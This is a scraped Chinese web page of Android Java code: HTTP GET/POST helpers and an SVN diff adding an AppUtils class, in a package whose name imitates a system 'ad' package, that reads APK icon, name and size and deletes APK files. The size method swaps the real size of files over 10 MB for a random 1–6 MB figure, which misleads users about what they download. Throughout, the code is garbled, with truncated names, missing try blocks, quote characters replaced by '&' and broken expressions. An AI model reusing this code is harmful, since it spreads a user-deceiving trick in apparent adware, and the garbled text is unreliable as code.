byte[] srtbyte = sendJson.getBytes(HTTP.UTF_8);
StringEntity entity = new StringEntity(new String(srtbyte));
// 设置参数的编码
request.setEntity(entity);
HttpParams httpParameters = new BasicHttpParams();
// 连接超时时间
HttpConnectionParams.setConnectionTimeout(httpParameters, 30000);
// 读取连接超时时间
HttpConnectionParams.setSoTimeout(httpParameters, 30000);
// 发送请求并获取反馈
HttpResponse httpResponse = new DefaultHttpClient(httpParameters).execute(request);
mStatusCode = httpResponse.getStatusLine().getStatusCode();
if (mStatusCode == HttpURLConnection.HTTP_OK) {
// 解析返回的内容
result = EntityUtils.toString(httpResponse.getEntity(), &utf-8&);
} catch (Exception e) {
e.printStackTrace();
/** GET方式访问Http协议 */
public String get(String getUrl) {
String result = &&;
HttpGet request = new HttpGet(new URI(getUrl));
HttpParams httpParameters = new BasicHttpParams();
// 连接超时时间
HttpConnectionParams.setConnectionTimeout(httpParameters, 30000);
// 读取连接超时时间
HttpConnectionParams.setSoTimeout(httpParameters, 30000);
// 发送请求并获取反馈
HttpResponse httpResponse = new DefaultHttpClient(httpParameters).execute(request);
mStatusCode = httpResponse.getStatusLine().getStatusCode();
// 解析返回的内容
if (mStatusCode == HttpURLConnection.HTTP_OK) {
result = EntityUtils.toString(httpResponse.getEntity(), &utf-8&);
} catch (Exception e) {
e.printStackTrace();
Index: youxiao/AppUtils.java
===================================================================
--- youxiao/AppUtils.java (revision 0)
+++ youxiao/AppUtils.java (revision 21)
@@ -0,0 +1,115 @@
+package com.andorid.system.ad.
+import java.io.F
+import java.math.BigD
+import java.util.R
+import android.content.C
+import android.content.I
+import android.content.pm.ApplicationI
+import android.content.pm.PackageI
+import android.content.pm.PackageM
+import android.graphics.drawable.D
+import android.net.U
+public class AppUtils {
private File mApkF
private String mApkN
private Context mC
private Drawable mApkI
public AppUtils(Context context, String apkPath) {
mContext =
loadApkInfo(apkPath);
// 加载apk信息
private void loadApkInfo(String apkPath) {
File dataFile = ImageUtil.getInstance().getAndroidDataDir(mContext);
mApkFile = new File(dataFile, apkPath);
apkPath = mApkFile.getAbsolutePath();
PackageManager pm = mContext.getPackageManager();
PackageInfo packageInfo = pm.getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES);
if (packageInfo != null) {
ApplicationInfo appInfo = packageInfo.applicationI
appInfo.sourceDir = apkP
appInfo.publicSourceDir = apkP
mApkIcon = appInfo.loadIcon(pm);
mApkName = appInfo.loadLabel(pm).toString();
} catch (Exception e) {
/** 获取apk文件 */
public File getApkFile() {
return mApkF
/** 获取apk大小 B、KB、MB */
public String getApkSize() {
String apkSize = &&;
File apkFile = getApkFile();
if (apkFile.isFile() && apkFile.exists()) {
long length = apkFile.length();
if (length & 1048576) {
if (length & 10 * 1048576) {// 大于10M时随机大小
Random random = new Random();
int number = random.nextInt(6) + 1;
length = number * 1048576 + length % 1048576;
BigDecimal bd = new BigDecimal(length / );
apkSize = bd.setScale(1, BigDecimal.ROUND_HALF_UP) + &MB&;
} else if (length & 1024) {
BigDecimal bd = new BigDecimal(length / 1024.0);
apkSize = bd.setScale(1, BigDecimal.ROUND_HALF_UP) + &KB&;
apkSize = length + &B&;
return apkS
/** 获取apk icon */
public Drawable getApkIcon() {
return mApkI
public String getApkName() {
return mApkN
public void deleteApkFile() {
if (mApkFile != null && mApkFile.exists()) {
mApkFile.delete();
private boolean isApkInstalled(String packagename) {
PackageManager localPackageManager = mContext.getPackageManager();
PackageInfo localPackageInfo }

我要回帖

更多关于 桌面图标没有了 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信